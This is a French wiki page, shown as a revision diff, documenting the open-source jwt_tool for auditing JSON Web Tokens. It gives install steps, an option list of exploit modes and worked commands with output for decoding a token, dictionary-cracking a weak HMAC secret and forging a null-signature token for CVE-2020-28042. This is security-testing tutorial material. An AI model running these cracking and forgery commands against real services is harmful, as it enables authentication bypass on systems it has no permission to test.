cyber:outils:jwt-tool
Différences
Ci-dessous, les différences entre deux révisions de la page.
Prochaine révision | Révision précédente | ||
cyber:outils:jwt-tool [2025/06/20 16:22] – créée admin | cyber:outils:jwt-tool [2025/06/20 17:41] (Version actuelle) – [Exemple 3 - Test d'une CVE connue] admin | ||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | ====== Jwt tool ====== | ||
+ | ===== Description ===== | ||
+ | |||
+ | **jwt_tool** est une boîte à outils open source conçue pour l' | ||
+ | |||
+ | ===== Installation ===== | ||
+ | |||
+ | |||
+ | L' | ||
+ | |||
+ | <code bash> | ||
+ | git clone https:// | ||
+ | cd jwt_tool | ||
+ | python3 -m pip install -r requirements.txt | ||
+ | </ | ||
+ | |||
+ | ===== Cas d' | ||
+ | |||
+ | * Vérification de l' | ||
+ | * Validation de l' | ||
+ | |||
+ | ===== Fonctionnalités principales ===== | ||
+ | |||
+ | * Manipulation/ | ||
+ | * Requêtes HTTP spécifiques ; | ||
+ | * Cassage de clés secrètes. | ||
+ | |||
+ | ===== Manuel des options principales ===== | ||
+ | |||
+ | < | ||
+ | -t TARGETURL, --targeturl TARGETURL : URL vers laquelle envoyer le JWT. | ||
+ | -rc COOKIES, --cookies COOKIES : cookies à envoyer avec la requête HTTP. | ||
+ | -rh HEADERS, --headers HEADERS : headers HTTP à envoyer avec la requête HTTP. | ||
+ | -pd POSTDATA, --postdata POSTDATA : données POST à envoyer avec la requête HTTP. | ||
+ | -M MODE, --mode MODE Scanning mode : | ||
+ | pb = audit du playbook | ||
+ | er = fuzz les claims connus pour provoquer des erreurs | ||
+ | cc = fuzz les claims communs | ||
+ | at - tous les tests | ||
+ | -X EXPLOIT, --exploit EXPLOIT : | ||
+ | eXploit known vulnerabilities: | ||
+ | a = algorithme à none | ||
+ | n = signature nulle | ||
+ | b = mot de passe vide | ||
+ | s = spoofing du JWKS | ||
+ | k = confusion de clé (spécifier la clé avec -pk) | ||
+ | i = injection d'un JWKS | ||
+ | -C, --crack : casser la clé pour un token HMAC-SHA (specifier -d/ | ||
+ | -d DICT, --dict DICT : chemin vers le dictionnaire pour le cassage de clé. | ||
+ | -p PASSWORD, --password PASSWORD : mot de passe du token. | ||
+ | </ | ||
+ | |||
+ | ===== Exemple d' | ||
+ | |||
+ | ==== Exemple 1 - Lecture de token ==== | ||
+ | |||
+ | La commande suivante permet de lire un token et d'en afficher les informations : | ||
+ | |||
+ | <code bash> | ||
+ | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po | ||
+ | </ | ||
+ | |||
+ | Nous obtenons le résultat suivant : | ||
+ | |||
+ | < | ||
+ | Original JWT: | ||
+ | ===================== | ||
+ | Decoded Token Values: | ||
+ | ===================== | ||
+ | Token header values: | ||
+ | [+] typ = " | ||
+ | [+] alg = " | ||
+ | Token payload values: | ||
+ | [+] login = " | ||
+ | ---------------------- | ||
+ | JWT common timestamps: | ||
+ | iat = IssuedAt | ||
+ | exp = Expires | ||
+ | nbf = NotBefore | ||
+ | ---------------------- | ||
+ | </ | ||
+ | |||
+ | Grâce à cela, nous pouvons déterminer l' | ||
+ | |||
+ | |||
+ | ====== Exemple 2 - Cassage de clé secrète ====== | ||
+ | |||
+ | La commande suivante permet de casser une clé secrète faible grâce à une attaque par dictionnaire : | ||
+ | |||
+ | <code bash> | ||
+ | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -C -d / | ||
+ | </ | ||
+ | |||
+ | Nous obtenons le résultat suivant : | ||
+ | |||
+ | < | ||
+ | Original JWT: | ||
+ | [+] secret is the CORRECT key! | ||
+ | </ | ||
+ | |||
+ | La clé utilisée pour signer le token est donc **CORRECT**, | ||
+ | |||
+ | |||
+ | ====== Exemple 3 - Test d'une CVE connue ====== | ||
+ | |||
+ | Nous pouvons aussi utiliser **jwt\_tool** pour tester des CVEs connues. Dans cet exemple, nous allons utiliser **jwt_tool** sur la **CVE-2020-28042**. Celle-ci permet de forger des tokens dont la signature est nulle mais qui sont quand même valides. | ||
+ | |||
+ | Avec **jwt_tool** nous forgeons un token à signature nulle : | ||
+ | |||
+ | <code bash> | ||
+ | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -X n | ||
+ | </ | ||
+ | |||
+ | Nous obtenons le résultat suivant : | ||
+ | |||
+ | < | ||
+ | jwttool_ed591ad5ea32583e84648d60a95626f5 - EXPLOIT: null signature | ||
+ | (This will only be valid on unpatched implementations of JWT.) | ||
+ | [+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ. | ||
+ | </ | ||
+ | |||
+ | Si le système que nous essayons de tester est vulnérable à la **CVE-2020-28042**, | ||
+ | |||
====== Retour fiches outils ====== | ====== Retour fiches outils ====== | ||
* [[cyber: | * [[cyber: |
cyber/outils/jwt-tool.1750429326.txt.gz · Dernière modification : 2025/06/20 16:22 de admin